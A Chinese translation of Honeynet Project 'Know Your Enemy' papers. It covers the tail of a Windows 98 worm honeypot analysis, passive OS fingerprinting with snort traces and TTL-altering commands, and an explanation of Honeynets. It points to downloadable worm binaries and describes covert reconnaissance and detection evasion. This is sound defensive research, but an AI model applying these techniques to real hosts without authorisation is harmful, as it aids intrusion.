CF 32 45 19 1A 93 1F 65 62 B1 CE 02 AA D0 7C 9E .2E....eb.....|.
C5 46 78 29 F0 13 97 04 .Fx)....
一旦上传完成,这条开始在Internet上搜寻有漏洞系统并开始复制自己。它随机挑选IP地址,之后开始扫对方的135和139端口。随后标记存在漏洞的系统并开始复制。如果一个"honeypot"的环境被设计成阻塞住各种被已经侵害的"honeypot"发出的有恶意的流量,那么这些扫描就永远到不了Internet。"honeypot"在这里就像是"roach motel",让坏蛋进去,但不让出。下面可以看到这条蠕虫尝试发现其他有漏洞的系统。
11/04-23:58:05.946299 172.16.1.105:137 -> 39.202.248.187:137
UDP TTL:127 TOS:0x0 ID:30485
Len: 58
0E 94 00 10 00 01 00 00 00 00 00 00 20 43 4B 41 ............ CKA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 21 AAAAAAAAAAAAA..!
00 01
另外一件事就是我发现有趣的事情是在c:windowswin.ini的这个配置文件被重新修改,很想是被winint.exe,这条蠕虫从启动配置中移走msi216.exe。同样dentc.ini也重新被修改,把邮件地址从[email]bymer@inec.kiev.ua[/email]改为[email]bymer@ukrpost.net[/email],这些表明第二条蠕虫正在尝试从配置中去掉第一条的配置从而替代它。这种现象就像自然界的生态斗争,一条虫子同另外一台争夺地盘,或者是CPU资源。
如果你希望自己分析一下这个程序,可以下载win98.tar.gz。这个压缩包里包含了四天中snort捕获到的二进制的数据以及在我们honeypot上捕捉到的所有蠕虫的二进制程序。包括wininit.exe和msi216.exe。需要提醒的是,由于这些程序是直接从互联网上搜集来的,里面可能包含一些恶意代码,因此要小心使用。如果你不需要蠕虫的二进制程序的话,可以下载win98-wo.tar.gz。
结论
我们在上面描述了我们四天的历程,我们的Windows98系统被几条蠕虫侵袭。这些蠕虫自动探测有漏洞系统一旦发现就开始自身复制,目前来看全是搜寻有NetBIOS漏洞的系统,当然并不表示所有基于NetBIOS的扫描都是这样。并不是所有的蠕虫都是基于distributed.net。想想如果这条蠕虫被修改成窥探你系统上的隐秘信息,它会很轻易的搜寻包含财务等机密信息…一旦发现,这些信息会发给匿名邮件帐号,IRC channel,或者被入侵的Web服务器。
Acknowledgements
非常感谢H Carvey 和Ryan Russell,他们是主要的技术贡献者,看额外的信息,可以[url]http://distributed.net[/url]或者[url]http://www.cert.org[/url]。
Know Your Enemy--反守为攻
网络安全的挑战之一就是你需要了解攻击者,要了解你存在的威胁并保护你自己的资源,你需要了解你的敌人,被动特征探测是了解攻击者而不被攻击者觉察的方法之一,虽然这种方法可能不是100%正确,但你会获得一些令你诧异的结果。Craig Smith开发基本本文概念的工具passfing.另外subterrain crew也开发了siphon,一个可以被动探测端口和OS的工具。
Fingerprinting
传统上,操作系统特征可以通过"积极性"的工具,如queso或者nmap,这些工具是在每一个操作系统上的IP堆栈有自己不同特性的原理上来操作的,每个操作系统响应通过的多种信息包。所以这些工具只要建立一个基于不同的操作系统对应不同的信息包的数据库,然后,要判断远程主机的操作系统,发送多种不寻常的信息包,检测其是怎样响应这些信息包的,再与数据库进行对比做出判断。Fyodor的 nmap工具就是利用这种方法的,他也写了一份具体的文档。
而被动特征探测(Passive Fingerprinting )遵循相同的概念,但实现的方法不同。被动特征探测(Passive Fingerprinting )基于嗅探远程主机上的通信来代替主动的去查询远程主机,所有你需要做的是抓取从远程主机上发送的信息包。在嗅探这些信息包的基础上,你可以判断远程主机的操作系统,就象主动特征探测一样,被动特征探测(Passive Fingerprinting )也是由每个操作系统的有自己的IP堆栈特征,通过分析sniffer traces 和鉴别他们之间的不同之处,就可以判断远程主机的操作系统了。
信号
判断主机的操作系统一般可以由4个方面来着手(当然也有其他信号存在):
TTL - 这个数据是操作系统对出站的信息包设置的存活时间。
Window Size - 是操作系统设置的窗口大小,这个窗口大小是在发送FIN信息包时包含的选项。
DF - 可以查看是否操作系统设置了不准分片位
TOS - 是否操作系统设置了服务类型
通过分析信息包这些因数,你可以判断一个远程的操作系统,当然探测到的系统不可能100%正确,也不能依靠上面单个的信号特征来判断系统,但是,通过查看多个信号特征和组合这些信息,你可以增加对远程主机的精确程度。下面是一个简单的例子,下面是被探测的系统发送一个信息包,这个系统发起了一个mountd的漏洞攻击,因此我想了解这个主机, 我现在不使用finger或者NMAP等工具,而想要了解被动接受到的信息,使用snort得到了下面的一些信号特征:
04/20-21:41:48.129662 129.142.224.3:659 -> 172.16.1.107:604
TCP TTL:45 TOS:0x0 ID:56257
***F**A* Seq: 0x9DD90553 Ack: 0xE3C65D7 Win: 0x7D78
根据上面的四条准则,我们可以达到下面的情况:
TTL: 45
Window Size: 0x7D78 (or 32120 in decimal)
DF: The Don't Fragment bit is set
TOS: 0x0
我们再比较信号特征数据库,首先,我们查看使用在远程系统上的TTL,从我们的获得信息可以看到TTL是45,这多数表示它通过19跳才到达我们主机,因此原始的TTL应该是设置为64,基于这个TTL,这个信息包应该看来是由LINUX和FREEBSD系统发来的(当然更多的系统信号特征需要放到数据库中),这个TTL通过了traceroute远程主机得到证实,如果你考虑到远程主机在检测你的traceroute,你可以设置你traceroute的time-to-live(默认是30跳),使用-m选项来设定到主机的跳数少1到2跳的数值,如,刚才的例子里,我们可以使用traceroute -m 18来设置跳数为18跳,这样做可以让你看到到达主机的路径而不碰到远程主机。要更多关于TTL的信息,请查看这篇文章
下一步是比较窗口大小-Windows size,用Windows size来判断是另一个非常有效的工具,特别是使用多大的窗口大小和改变大小的规律,在上面的信号特征中,我们可以看到其设置为0x7D78,这是LINUX通常使用的默认窗口大小。LINUX,FREEBSD和SOLARIS系统在完整的一个会话过程中窗口的大小是维持不变的,但是 ,部分Cisco路由器(如2514)和WINDOWS/NT的窗口是经常改变的(在一个会话阶段),如果在初始化三次握手后衡量窗口大小是比较精确的,具体信息,可以看看Richard Stevens的"TCP/IP Illustrated, Volume 1" 20章。
多数系统使用DF位设置,因此这个是一个限定的值,但是有些系统如SCO和OPENBSD不使用这个DF标志,所以就比较容易的用来鉴别一些没有这个DF位设置的系统,在更多的测试后,发现TOS也是一个限定的值,这就表示不是很多操作系统来判断TOS,而是协议在使用这个值。TOS的判定需要更多的测试。因此,根据上面的信息,一些特殊的TTL值和窗口大小值,你可以通过信号数据库来比较结果。
注意,与主动特征探测一样,passive Fingerpinting有许多限制,首先,应用程序必须构建他们自己的与操作系统不同信号特征信息包(如NMAP,HUNT ,TEARDROP等)。其次,这种探测可以使用调整系统的信息包的值来逃避这种检测,如可以用下面的方法来改变TTL值:
Solaris: ndd -set /dev/ip ip_def_ttl 'number'
Linux: echo 'number' > /proc/sys/net/ipv4/ip_default_ttl
NT: HKEY_LOCAL_MACHINESystemCurrentControlSetServicesTcpipParameters
通过上面所说的方法结合,你就可以大致判断出远程操作系统的情况了。
其他信息特征和使用
上面的是讨论了4个信号特征,但还有其他的特征可以被跟踪,如一些初始化序列好,IP鉴定号码(IP Identification numbers ),TCP或者IP的选项。如:Cisco路由器趋向由0开始IP鉴定号码(IP Identification numbers )来代替随机的指派号码。也可以使用ICMP的有效负载来判断,Max Vision discusses 使用ICMP有效负载类型或者TCP选项来鉴别远程主机,举个例子,微软的ICMP REQUEST的有效负荷包含字母,而SOLAIRS或者LINUX的ICMP REQUEST有效符合包含数字和符号。又如TCP选项,选择性的应答Acknowledgement选项SackOK 通常被WINDOWS和LINUX使用,但FREEBSD和SOLARIS这个选项不使用。MSS(最大数据段大小)也可以用来判断,绝大多数系统使用1460 大小的MSS,NOVELL使用的是1368,而有些FREEBSD变种使用512大小的MSS,另一个信号特征是信息包状态,什么类型的信息包被使用,可以应用FYODOR的话说:
"例如,最开始的SYN请求对我来说是一块金子(因为它会被回复),而RST信息包也有一些有趣的特征用来鉴定系统."其他多种特征和上面所说的特征组合能很好的判断远程操作系统。
被动特征探测可以用来其他一些用途,它当然也可以被攻击者用来秘密的探测系统,如可以请求WEB服务器的WEB页然后进行分析。这对于绕过一些IDS系统的检测有很大的帮助。而且被动特征探测也可以用来判断远程代理防火墙,因为代理防火墙重建对客户的连接,它有它自身的特征代码。也可以同来在同一网络中判断其他系统,如某个公司全部是MICROSOFT或者SUN系统,就可能很快的使用这种方法来判断是否有其他机器混在里面。
构建数据库
数据库是通过对各种系统进行TELNET,FTP,HTTP,SSH等协议分析而得到的。还有更多其他的协议来进行扩充,如果你有任何特征码增加到数据库中去请发送给Honeynet,我们对TCP或者IP选项特征特别感兴趣,或者一些没有列入到数据库中的操作系统的特征。
总结
被动特征探测让你隐秘的了解你的攻击者,通过组合多种特征,你可以大体判断远程操作系统,感谢下面的人提供帮助和想法:
Fyodor
Max Vision
Marty Roesch
Edward Skoudis
Dragos Ruiu
Craig Smith
Peter Grundl
Subterrain Siphon Project
Know Your Enemy--英雄本色
在过去的几年中 Honeynet Project 专注于对网络入侵者这一群体使用的各种工具、攻击策略及目的进行研究,并且分享我们的经验,这里我们使用的主要工具就是Honeynet。本文阐述了Honeynet究竟是什么、它对安全组织的价值、它的工作方式、会带来的风险、技术难题等等。我们将使用技术手段尝试自己去了解入侵者群体。同时我们希望这里讨论的这些技术可以帮助大家更好地构建Honeynet,更好了了解我们的敌人,我们也希望各种组织能够了解Honeynet的基本状况。
什么是Honeynet
Honeynet可以说是一个学习工具!它是一个专门设计来让人“攻陷”的网络,一旦被入侵者所攻破,入侵者的一切信息、工具等都将被用来分析学习。其想法与honeypot相似,但两者之间还是有些不同点的:honeypot也是一个用来让人攻击的网络,通常是用来诱骗入侵者的,通常情况下,honeypot会模拟某些常见的漏洞、摸拟其它操作系统或者是在某个系统上做了设置使其成为一台“牢笼”主机。比如The Deception Toolkit, CyberCop Sting, 以及 Mantrap. 是一些脚本的集合,它模拟出了一些常的系统漏洞;CyberCop Sting运行于NT平台,它模拟出多个不同系统的IP堆栈及inetd服务。Mantrap则是将Solaris系统进行了一些设置,建立起了一些“牢笼主机”。毫无疑义,这些都是相当不错的想法,但在现在的环境下,它们有些不适合了,需要更多的改进。
Honeynet与传统意义上的honeypot有两个最大的不同点在于:
一个Honeynet是一个网络系统,而并非某台单一主机,这一网络系统是隐藏在防火墙后面的,所有进出的数据都受到关注、捕获及控制。这些被捕获的数据可以对我们研究分析入侵者们使用的工具、方法及动机。在这个Honeynet中,我们可以使用各种不同的操作系统及设备,如Solaris, Linux, Windows NT, Cisco Switch, 等等。这样建立的网络环境看上去会更加真实可信,同时我们还有不同的系统平台上面运行着不同的服务,比如Linux的DNS server,Windows NT的webserver或者一个Solaris的FTP server,我们可以学习不同的工具以及不同的策略——或许某些入侵者仅仅把目标定于几个特定的系统漏洞上,而我们这种多样化的系统,就可能更多了揭示出他们的一些特性。
在Honeynet中的所有系统都是标准的机器,上面运行的都是真实完整的操作系统及应用程序——就象你在互联网上找到的系统一样。我们没有刻意地模拟某种环境或者故意地使系统不安全。在Honeynet里面找到的存在风险的系统,与在互联网上一些公司组织的毫无二致。你可以简单地把你的操作系统放到Honeynet中,并不会对整个网络造成影响。
我们的Honeynet ProjectIt使用的是在互联网上最常见到的操作系统,比如默认安装的Linux, Solaris, Windows98以及Windows NT,正因为我们使用的是最常见、普通的系统,我们的研究成果才会对大多数的互联网组织有实用意义。
Honeynet 的价值、法律相关事务
传统意义上的信息安全,一般都是防御性质的,比如防火墙、入侵检测系统、加密等等,它们都是用来保护我们的信息资产的,他们的策略是,先考虑系统可能出现哪些问题,然后对问题一一进行分析解决。而Honeynet希望做到的是改变这一思路,使其更具交互性——它的主要功能是用来学习了解敌人(入侵者)的思路、工具、目的。通过获取这些技能,互联网上的组织将会更好地理解他们所遇到的威胁,并且理解如何防止这些威胁。通过honeynet,组织可以在与入侵者的“游击战争”中获得最大的主动权。
例如,Honeynet能够收集的信息的主要来源之一是入侵者团体之间的通信,诸如IRC(Internet在线聊天系统)。入侵者经常在彼此之间自由交谈,揭示了他们的动机,目的,和行动。我们通过使用Honeynets,已经捕获了这些谈话内容,监控了他们之间说过的每一句话,我们甚至已经捕获了与攻击我们的系统有牵连的入侵者的实时录像。这使我们能够清楚地洞察入侵者们是如何针对特定系统以及他们攻击系统的能力。你可以参见Know Your Enemy: Motives中的例子。在这份文件中,我们追踪了把一个特殊的国家作为攻击目标的一组入侵者。经过三个周的时间,我们不仅了解了他们是如何把系统作为目标和如何攻击系统的,而且更重要的是,了解了他们这样做的原因。根据这种详细的信息,我们现在能够更好的理解和防护这种常见的威胁。
Honeynets也为组织提供了关于他们自己的安全风险和脆弱性的一些经验。Honeynets的内容涵盖了组织在其特定环境下系统和应用软件。公司或者组织可以通过对Honeynet的学习及使用,提高增强自己的能力。例如,某家公司可能想提供一个新的网络服务器,以便其网上支付系统。其操作系统和应用程序如果能够先在一Honeynet的中得到检验以识别任何未知的风险和脆弱性,将会在很大程度上提高其可靠程度。我们自己在Honeynet的工作平台上检验IDS、防火墙等过程中就得到了相当多的经验。
最后,一个Honeynet能够帮助一个组织发展它的事件响应能力。在过去的两年中,我们已经极大地提高了我们检测、响应、恢复、和分析受侵害系统的能力。根据这些经验,我们已经发表了两篇文章,就是 Know Your Enemy: Forensic Analysis 和 The Forensic Challenge 其中提到的一些技巧是:如果你发现了一个受到入侵的系统,你或许可以把它当成一个挑战,使用各种技术来捕获或者分析入侵者的行为并且不被他察觉。同时,你捕获的数据也可以存储在一个攻击特征库中,今后你如果在其它事件中发现类似的特征代码,你就可以轻易地判断出其攻击方式了。
但是这些方法在法律上遇上了一些麻烦诱捕的问题:
诱捕是一个法律术语,用于执法人员诱使一个罪犯从事一项非法行为,否则他们可能不会从事该